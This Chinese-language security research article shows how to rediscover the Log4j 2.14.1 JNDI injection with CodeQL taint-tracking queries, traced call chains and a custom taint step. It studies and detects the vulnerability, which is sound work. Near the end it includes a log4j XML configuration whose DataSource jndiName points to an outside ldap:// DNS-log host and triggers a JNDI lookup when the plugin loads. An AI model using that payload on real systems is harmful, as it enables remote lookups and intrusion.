利用CodeQL分析并挖掘Log4j漏洞
前言
分析漏洞的本质是为了能让我们从中学习漏洞挖掘者的思路以及挖掘到新的漏洞，而CodeQL就是一款可以将我们对漏洞的理解快速转化为可实现的规则并挖掘漏洞的利器。根据网上的传言Log4j2的RCE漏洞就是作者通过CodeQL挖掘出的。虽然如何挖掘的我们不得而知，但我们现在站在事后的角度再去想想，可以推测一下作者如何通过CodeQL挖掘到漏洞的,并尝试基于作者的思路挖掘新漏洞。
分析过程
首先我们要构建Log4j的数据库，由于lgtm.com中构建的是新版本的Log4j数据库，所以只能手动构建数据库了。首先从github获取源码并切换到2.14.1版本。
git clone https://github.com/apache/logging-log4j2.git
git checkout be881e5
由于我们这次分析的主要是log4j-core和log4j-api中的内容，所以打开根目录的Pom.xml注释下面的内容。
<modules>
<module>log4j-api-java9</module>
<module>log4j-api</module>
<module>log4j-core-java9</module>
<module>log4j-core</module>
<!-- <module>log4j-layout-template-json</module>
<module>log4j-core-its</module>
<module>log4j-1.2-api</module>
<module>log4j-slf4j-impl</module>
<module>log4j-slf4j18-impl</module>
<module>log4j-to-slf4j</module>
<module>log4j-jcl</module>
<module>log4j-flume-ng</module>
<module>log4j-taglib</module>
<module>log4j-jmx-gui</module>
<module>log4j-samples</module>
<module>log4j-bom</module>
<module>log4j-jdbc-dbcp2</module>
<module>log4j-jpa</module>
<module>log4j-couchdb</module>
<module>log4j-mongodb3</module>
<module>log4j-mongodb4</module>
<module>log4j-cassandra</module>
<module>log4j-web</module>
<module>log4j-perf</module>
<module>log4j-iostreams</module>
<module>log4j-jul</module>
<module>log4j-jpl</module>
<module>log4j-liquibase</module>
<module>log4j-appserver</module>
<module>log4j-osgi</module>
<module>log4j-docker</module>
<module>log4j-kubernetes</module>
<module>log4j-spring-boot</module>
<module>log4j-spring-cloud-config</module> -->
</modules>
由于log4j-api-java9和log4j-core- java9需要依赖JDK9，所以要先下载JDK9并且在C:\Users\用户名\.m2\toolchains.xml中加上下面的内容。
<toolchains>
<toolchain>
<type>jdk</type>
<provides>
<version>9</version>
<vendor>sun</vendor>
</provides>
<configuration>
<jdkHome>C:\Program Files\Java\jdk-9.0.4</jdkHome>
</configuration>
</toolchain>
</toolchains>
通过下面的命令完成数据库构建
CodeQL database create Log4jDB --language=java --overwrite --command="mvn clean install -Dmaven.test.skip=true"
构建好数据库后，我们要找JNDI注入的漏洞，首先要确定在这套系统中调用了InitialContext#lookup方法。在LookupInterface项目中已经集成了常见的发起JNDI请求的类,只要稍微改一下即可。
首先定义Context类型，这个类中综合了可能发起JNDI请求的类。
class Context extends RefType{
Context(){
this.hasQualifiedName("javax.naming", "Context")
or
this.hasQualifiedName("javax.naming", "InitialContext")
or
this.hasQualifiedName("org.springframework.jndi", "JndiCallback")
or
this.hasQualifiedName("org.springframework.jndi", "JndiTemplate")
or
this.hasQualifiedName("org.springframework.jndi", "JndiLocatorDelegate")
or
this.hasQualifiedName("org.apache.shiro.jndi", "JndiCallback")
or
this.getQualifiedName().matches("%JndiCallback")
or
this.getQualifiedName().matches("%JndiLocatorDelegate")
or
this.getQualifiedName().matches("%JndiTemplate")
}
}
下面寻找那里调用了Context的lookup方法。
from Call call,Callable parseExpression
where
call.getCallee() = parseExpression and
parseExpression.getDeclaringType() instanceof Context and
parseExpression.hasName("lookup")
select call
DataSourceConnectionSource#createConnectionSource
@PluginFactory
public static DataSourceConnectionSource createConnectionSource(@PluginAttribute("jndiName") final String jndiName) {
if (Strings.isEmpty(jndiName)) {
LOGGER.error("No JNDI name provided.");
return null;
}
try {
final InitialContext context = new InitialContext();
final DataSource dataSource = (DataSource) context.lookup(jndiName);
if (dataSource == null) {
LOGGER.error("No data source found with JNDI name [" + jndiName + "].");
return null;
}
return new DataSourceConnectionSource(jndiName, dataSource);
} catch (final NamingException e) {
LOGGER.error(e.getMessage(), e);
return null;
}
}
JndiManager#lookup
@SuppressWarnings("unchecked")
public <T> T lookup(final String name) throws NamingException {
return (T) this.context.lookup(name);
}
找到sink后我们还需要找到source，虽然Codeql定义了RemoteFlowSource支持多种source，但是我们还是要根据实际的代码业务来分析可能作为source的点。
在Log4j作为日志记录的工具，除了从HTTP请求中获取输入点外，还可以在记录日志请求或者解析配置文件中来获取source。先不看解析配置文件获取source的点了，因为这需要分析Log4j解析配置文件的流程比较复杂。所以目前我们只考虑通过日志记录作为source的情况。稍微了解Log4j的同学都知道，Log4j会通过error/fatal/info/debug/trace等方法对不同级别的日志进行记录。通过分析我们可以看到我们输入的message都调用了logIfEnabled方法并作为第四个参数输入，所以可以将这里定义为source。
下面使用全局污点追踪分析JNDI漏洞，还是套用LookupInterface项目中的代码，修改source部分即可。
/**
*@name Tainttrack Context lookup
*@kind path-problem
*/
import java
import semmle.code.java.dataflow.FlowSources
import DataFlow::PathGraph
class Context extends RefType{
Context(){
this.hasQualifiedName("javax.naming", "Context")
or
this.hasQualifiedName("javax.naming", "InitialContext")
or
this.hasQualifiedName("org.springframework.jndi", "JndiCallback")
or
this.hasQualifiedName("org.springframework.jndi", "JndiTemplate")
or
this.hasQualifiedName("org.springframework.jndi", "JndiLocatorDelegate")
or
this.hasQualifiedName("org.apache.shiro.jndi", "JndiCallback")
or
this.getQualifiedName().matches("%JndiCallback")
or
this.getQualifiedName().matches("%JndiLocatorDelegate")
or
this.getQualifiedName().matches("%JndiTemplate")
}
}
class Logger extends RefType{
Logger(){
this.hasQualifiedName("org.apache.logging.log4j.spi", "AbstractLogger")
}
}
predicate isLookup(Expr arg) {
exists(MethodAccess ma |
ma.getMethod().getName() = "lookup"
and
ma.getMethod().getDeclaringType() instanceof Context
and
arg = ma.getArgument(0)
)
}
predicate isLogging(Expr arg) {
exists(MethodAccess ma |
ma.getMethod().getName() = "logIfEnabled"
and
ma.getMethod().getDeclaringType() instanceof Logger
and
arg = ma.getArgument(3)
)
}
class TainttrackLookup extends TaintTracking::Configuration {
TainttrackLookup() {
this = "TainttrackLookup"
}
override predicate isSource(DataFlow::Node source) {
exists(Expr exp |
isLogging(exp)
and
source.asExpr() = exp
)
}
override predicate isSink(DataFlow::Node sink) {
exists(Expr arg |
isLookup(arg)
and
sink.asExpr() = arg
)
}
}
from TainttrackLookup config , DataFlow::PathNode source, DataFlow::PathNode sink
where
config.hasFlowPath(source, sink)
select sink.getNode(), source, sink, "unsafe lookup", source.getNode(), "this is user input"
虽然这些也得到了很多查询结果，但是在实际使用Log4j打印日志时可能不会带上Marker参数而是直接写入messge的内容。
所以我们现在要追踪的source应该是带有一个参数的error/fatal/info/debug/trace等方法。我这里以error方法为例对source部分进行修改。
class LoggerInput extends Method {
LoggerInput(){
//限定调用的类名、方法名、以及方法只有一个参数
this.getDeclaringType() instanceof Logger and
this.hasName("error") and this.getNumberOfParameters() = 1
}
//将第一个参数作为source
Parameter getAnUntrustedParameter() { result = this.getParameter(0) }
}
override predicate isSource(DataFlow::Node source) {
exists(LoggerInput LoggerMethod |
source.asParameter() = LoggerMethod.getAnUntrustedParameter())
}
这样我们就得到了多条链,现在我们要写个Demo验证这个链是否可行，比如最简单的logger.error("xxxxx");
1 message : Message AbstractLogger.java:709:23
2 message : Message AbstractLogger.java:710:47
3 message : Message AbstractLogger.java:1833:89
4 message : Message AbstractLogger.java:1835:38
5 message : Message Logger.java:262:70
6 message : Message Logger.java:263:52
7 msg : Message Logger.java:617:64
8 msg : Message Logger.java:620:78
9 msg : Message RegexFilter.java:73:87
10 msg : Message RegexFilter.java:78:63
...
64 convertJndiName(...) : String JndiLookup.java:54:33
65 jndiName : String JndiLookup.java:56:56
66 name : String JndiManager.java:171:25
67 name JndiManager.java:172:40
Path
但是这条链只有配置了Filter为RegexFilter才会继续执行，而默认没有配置则为空。
所以这种方式就稍微有些限制，所以我们再去看看其他链。这条链似乎不用配置Filter。
1 message : Message AbstractLogger.java:709:23
2 message : Message AbstractLogger.java:710:47
3 message : Message AbstractLogger.java:1833:89
4 message : Message AbstractLogger.java:1836:51
5 message : Message AbstractLogger.java:2139:94
6 message : Message AbstractLogger.java:2142:59
7 message : Message AbstractLogger.java:2155:43
8 message : Message AbstractLogger.java:2159:67
9 message : Message AbstractLogger.java:2202:32
10 message : Message AbstractLogger.java:2205:48
11 message : Message AbstractLogger.java:2116:9
12 message : Message AbstractLogger.java:2117:41
...
78 var : String Interpolator.java:230:92
79 key : String JndiLookup.java:50:48
80 key : String JndiLookup.java:54:49
81 jndiName : String JndiLookup.java:70:36
82 jndiName : String JndiLookup.java:74:16
83 convertJndiName(...) : String JndiLookup.java:54:33
84 jndiName : String JndiLookup.java:56:56
85 name : String JndiManager.java:171:25
86 name JndiManager.java:172:40
但是在AbstractLogger#tryLogMessage中Codeql会直接分析到AbstractLogger#log而实际请求时会解析到Logger#log方法。这是因为Logger是AbstractLogger的子类并且也实现了log方法，而且我们实例化的也是Logger对象，所以这里会调用到Logger#log。
实际请求
CodeQL分析
再看看下面这条链
1 message : Message AbstractLogger.java:709:23
2 message : Message AbstractLogger.java:710:47
3 message : Message AbstractLogger.java:1833:89
4 message : Message AbstractLogger.java:1836:51
5 message : Message AbstractLogger.java:2139:94
6 message : Message AbstractLogger.java:2142:59
7 message : Message AbstractLogger.java:2155:43
8 message : Message AbstractLogger.java:2159:67
9 message : Message AbstractLogger.java:2202:32
10 message : Message AbstractLogger.java:2205:48
11 message : Message Logger.java:158:9
12 message : Message Logger.java:162:17
13 data : Message AwaitCompletionReliabilityStrategy.java:78:83
14 data : Message AwaitCompletionReliabilityStrategy.java:82:67
15 data : Message LoggerConfig.java:430:28
16 data : Message LoggerConfig.java:454:17
17 message : Message ReusableLogEventFactory.java:78:86
18 message : Message ReusableLogEventFactory.java:100:27
19 msg : Message MutableLogEvent.java:209:28
20 (...)... : Message MutableLogEvent.java:211:46
21 reusable : Message MutableLogEvent.java:212:13
22 parameter this : Message ReusableObjectMessage.java:47:17
23 obj : Object ReusableObjectMessage.java:48:44
...
88 convertJndiName(...) : String JndiLookup.java:54:33
89 jndiName : String JndiLookup.java:56:56
90 name : String JndiManager.java:171:25
91 name JndiManager.java:172:40
这条链在执行到MutableLogEvent#setMessage时和CodeQL的分析结果略有不同。
在CodeQL中resusable.formatTo会调用到ReusableObjectMessage中。
但是实际运行过程中由于MessgeFactorty创建Message对象时默认创建的是ResableSimpleMessage对象，所以会执行到ResableSimpleMessage#formatTo方法。
所以似乎目前使用使用CodeQL的规则是发现不了Log4jShell那个漏洞的，既然我们已经知道了这个漏洞的触发链，可以分析下CodeQL为什么没有分析出来。
通过之前对CodeQL检测出的调用链分析，CodeQL已经分析到了createEvent方法。
查看createEvent方法的调用，在Log4jShell的触发链中实际上是在对返回LogEvent的处理过程中触发的，所以这里CodeQL可能没有将返回的LogEvent对象再当作污点进行分析，所以导致没有分析成功。
我们可以创建一个isAdditionalTaintStep函数，将ReusableLogEventFactory#createEvent的第六个参数Message和LoggerConfig#log第一个参数logEvent连接起来。
override predicate isAdditionalTaintStep(DataFlow::Node fromNode, DataFlow::Node toNode) {
exists(MethodAccess ma,MethodAccess ma2 |
ma.getMethod().getDeclaringType().hasQualifiedName("org.apache.logging.log4j.core.impl", "ReusableLogEventFactory")
and ma.getMethod().hasName("createEvent") and fromNode.asExpr()=ma.getArgument(5) and ma2.getMethod().getDeclaringType().hasQualifiedName("org.apache.logging.log4j.core.config", "LoggerConfig")
and ma2.getMethod().hasName("log") and ma2.getMethod().getNumberOfParameters() = 2 and toNode.asExpr()=ma2.getArgument(0)
)
}
最后我们就可以通过CodeQL分析到Log4j shell漏洞的调用链。
1 message : Message AbstractLogger.java:709:23
2 message : Message AbstractLogger.java:710:47
3 message : Message AbstractLogger.java:1833:89
4 message : Message AbstractLogger.java:1836:51
5 message : Message AbstractLogger.java:2139:94
6 message : Message AbstractLogger.java:2142:59
7 message : Message AbstractLogger.java:2155:43
8 message : Message AbstractLogger.java:2159:67
9 message : Message AbstractLogger.java:2202:32
10 message : Message AbstractLogger.java:2205:48
11 message : Message Logger.java:158:9
12 message : Message Logger.java:162:17
13 data : Message DefaultReliabilityStrategy.java:61:83
14 data : Message DefaultReliabilityStrategy.java:63:69
15 data : Message LoggerConfig.java:430:28
16 data : Message LoggerConfig.java:454:96
17 message : Message ReusableLogEventFactory.java:58:47
18 message : Message ReusableLogEventFactory.java:60:67
19 event : LogEvent LoggerConfig.java:469:13
20 event : LogEvent LoggerConfig.java:479:24
21 event : LogEvent LoggerConfig.java:481:29
22 event : LogEvent LoggerConfig.java:495:34
23 event : LogEvent LoggerConfig.java:498:27
24 event : LogEvent LoggerConfig.java:536:34
25 event : LogEvent LoggerConfig.java:540:38
26 event : LogEvent AppenderControl.java:80:30
27 event : LogEvent AppenderControl.java:84:38
28 event : LogEvent AppenderControl.java:117:47
29 event : LogEvent AppenderControl.java:120:27
30 event : LogEvent AppenderControl.java:126:32
31 event : LogEvent AppenderControl.java:129:29
32 event : LogEvent AppenderControl.java:154:34
33 event : LogEvent AppenderControl.java:156:29
34 event : LogEvent AbstractDatabaseAppender.java:107:30
35 event : LogEvent AbstractDatabaseAppender.java:110:37
36 event : LogEvent AbstractDatabaseManager.java:260:42
37 event : LogEvent AbstractDatabaseManager.java:262:20
38 event : LogEvent AbstractDatabaseManager.java:122:27
39 event : LogEvent AbstractDatabaseManager.java:123:25
40 parameter this : LogEvent Log4jLogEvent.java:530:26
41 this : LogEvent Log4jLogEvent.java:534:16
42 toImmutable(...) : LogEvent AbstractDatabaseManager.java:123:25
43 this.buffer [post update] [<element>] : LogEvent AbstractDatabaseManager.java:123:9
44 this [post update] [buffer, <element>] : LogEvent AbstractDatabaseManager.java:123:9
45 this <.method> [post update] [buffer, <element>] : LogEvent AbstractDatabaseManager.java:262:13
46 getManager(...) [post update] [buffer, <element>] : LogEvent AbstractDatabaseAppender.java:110:13
47 this [post update] [manager, buffer, <element>] : LogEvent AbstractDatabaseAppender.java:110:13
48 appender [post update] [manager, buffer, <element>] : LogEvent AppenderControl.java:156:13
49 this <.field> [post update] [appender, manager, buffer, <element>] : LogEvent AppenderControl.java:156:13
50 this <.method> [post update] [appender, manager, buffer, <element>] : LogEvent AppenderControl.java:129:13
51 this <.method> [post update] [appender, manager, buffer, <element>] : LogEvent AppenderControl.java:120:13
52 this <.method> [post update] [appender, manager, buffer, <element>] : LogEvent AppenderControl.java:84:9
53 event : LogEvent AppenderControl.java:80:30
54 event : LogEvent AppenderControl.java:84:38
55 event : LogEvent AppenderControl.java:117:47
56 event : LogEvent AppenderControl.java:120:27
57 event : LogEvent AppenderControl.java:126:32
58 event : LogEvent AppenderControl.java:129:29
59 event : LogEvent AppenderControl.java:154:34
60 event : LogEvent AppenderControl.java:156:29
61 event : LogEvent AbstractOutputStreamAppender.java:179:24
62 event : LogEvent AbstractOutputStreamAppender.java:181:23
63 event : LogEvent AbstractOutputStreamAppender.java:188:28
64 event : LogEvent AbstractOutputStreamAppender.java:190:31
65 event : LogEvent AbstractOutputStreamAppender.java:196:38
66 event : LogEvent AbstractOutputStreamAppender.java:197:28
67 event : LogEvent GelfLayout.java:433:24
68 event : LogEvent GelfLayout.java:438:43
69 event : LogEvent GelfLayout.java:471:34
70 event : LogEvent GelfLayout.java:496:46
71 event : LogEvent StrSubstitutor.java:462:27
72 event : LogEvent StrSubstitutor.java:467:25
73 event : LogEvent StrSubstitutor.java:911:34
74 event : LogEvent StrSubstitutor.java:912:27
75 event : LogEvent StrSubstitutor.java:928:28
76 event : LogEvent StrSubstitutor.java:978:44
77 event : LogEvent StrSubstitutor.java:911:34
78 event : LogEvent StrSubstitutor.java:912:27
79 event : LogEvent StrSubstitutor.java:928:28
80 event : LogEvent StrSubstitutor.java:1033:63
81 event : LogEvent StrSubstitutor.java:1104:38
82 event : LogEvent StrSubstitutor.java:1110:32
83 event : LogEvent StructuredDataLookup.java:46:26
84 event : LogEvent StructuredDataLookup.java:50:67
85 parameter this : LogEvent RingBufferLogEvent.java:206:20
86 message : Message RingBufferLogEvent.java:210:16
87 getMessage(...) : Message StructuredDataLookup.java:50:67
88 (...)... : Message StructuredDataLookup.java:50:43
89 msg : Message StructuredDataLookup.java:54:20
90 parameter this : Message StructuredDataMessage.java:239:19
91 type : String StructuredDataMessage.java:240:16
92 getType(...) : String StructuredDataLookup.java:54:20
93 lookup(...) : String StrSubstitutor.java:1110:16
94 resolveVariable(...) : String StrSubstitutor.java:1033:47
95 varValue : String StrSubstitutor.java:1040:63
96 buf [post update] : StringBuilder StrSubstitutor.java:1040:33
97 buf [post update] : StringBuilder StrSubstitutor.java:912:34
98 bufName [post update] : StringBuilder StrSubstitutor.java:978:51
99 bufName : StringBuilder StrSubstitutor.java:979:47
100 toString(...) : String StrSubstitutor.java:979:47
101 varNameExpr : String StrSubstitutor.java:1010:55
102 substring(...) : String StrSubstitutor.java:1010:55
103 varName : String StrSubstitutor.java:1033:70
104 variableName : String StrSubstitutor.java:1104:60
105 variableName : String StrSubstitutor.java:1110:39
106 key : String JndiLookup.java:50:48
107 key : String JndiLookup.java:54:49
108 jndiName : String JndiLookup.java:70:36
109 ... + ... : String JndiLookup.java:72:20
110 convertJndiName(...) : String JndiLookup.java:54:33
111 jndiName : String JndiLookup.java:56:56
112 name : String JndiManager.java:171:25
113 name JndiManager.java:172:40
漏洞挖掘尝试
通过上面的分析可以看到，挖掘到所有的链最终的触发点都是JndiManager，这个点目前的触发已经在新版本中修复了，但是在DataSourceConnectionSource#createConnectionSource中也直接调用了lookup方法，我们能否通过某种方式触发呢？
通过注释可以看到DataSource是Core类型插件，因此可以在XML中直接通过标签配置调用。
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
</Console>
</Appenders>
<DataSource jndiName="ldap://9b89e78d.dns.1433.eu.org.">
</DataSource>
<Loggers>
<Root level="ERROR">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
配置后可以在插件加载的过程中触发漏洞，虽然这种方式也可以造成JNDI注入，但是需要在配置文件中修改参数才能触发，所以价值不大。
最后给出整体的分析Log4j JNDI注入的CodeQL查询代码
/**
*@name Tainttrack Context lookup
*@kind path-problem
*/
import java
import semmle.code.java.dataflow.FlowSources
import DataFlow::PathGraph
class Context extends RefType{
Context(){
this.hasQualifiedName("javax.naming", "Context")
or
this.hasQualifiedName("javax.naming", "InitialContext")
or
this.hasQualifiedName("org.springframework.jndi", "JndiCallback")
or
this.hasQualifiedName("org.springframework.jndi", "JndiTemplate")
or
this.hasQualifiedName("org.springframework.jndi", "JndiLocatorDelegate")
or
this.hasQualifiedName("org.apache.shiro.jndi", "JndiCallback")
or
this.getQualifiedName().matches("%JndiCallback")
or
this.getQualifiedName().matches("%JndiLocatorDelegate")
or
this.getQualifiedName().matches("%JndiTemplate")
}
}
class Logger extends RefType{
Logger(){
this.hasQualifiedName("org.apache.logging.log4j.spi", "AbstractLogger")
}
}
class LoggerInput extends Method {
LoggerInput(){
this.getDeclaringType() instanceof Logger and
this.hasName("error") and this.getNumberOfParameters() = 1
}
Parameter getAnUntrustedParameter() { result = this.getParameter(0) }
}
predicate isLookup(Expr arg) {
exists(MethodAccess ma |
ma.getMethod().getName() = "lookup"
and
ma.getMethod().getDeclaringType() instanceof Context
and
arg = ma.getArgument(0)
)
}
class TainttrackLookup extends TaintTracking::Configuration {
TainttrackLookup() {
this = "TainttrackLookup"
}
override predicate isSource(DataFlow::Node source) {
exists(LoggerInput LoggerMethod |
source.asParameter() = LoggerMethod.getAnUntrustedParameter())
}
override predicate isAdditionalTaintStep(DataFlow::Node fromNode, DataFlow::Node toNode) {
exists(MethodAccess ma,MethodAccess ma2 |
ma.getMethod().getDeclaringType().hasQualifiedName("org.apache.logging.log4j.core.impl", "ReusableLogEventFactory")
and ma.getMethod().hasName("createEvent") and fromNode.asExpr()=ma.getArgument(5) and ma2.getMethod().getDeclaringType().hasQualifiedName("org.apache.logging.log4j.core.config", "LoggerConfig")
and ma2.getMethod().hasName("log") and ma2.getMethod().getNumberOfParameters() = 2 and toNode.asExpr()=ma2.getArgument(0)
)
}
override predicate isSink(DataFlow::Node sink) {
exists(Expr arg |
isLookup(arg)
and
sink.asExpr() = arg
)
}
}
from TainttrackLookup config , DataFlow::PathNode source, DataFlow::PathNode sink
where
config.hasFlowPath(source, sink)
select sink.getNode(), source, sink, "unsafe lookup", source.getNode(), "this is user input"
总结
通过CodeQL挖洞效率确实比较高，并且在官方也给出了针对很多类型漏洞的审计规则，确实可以高效的辅助挖洞，目前主要解决下面两个问题。
默认的Source应该只是针对HTTP请求，如何针对特定的框架去发现可能作为source的点
分析污点在何时会被打断并进行拼接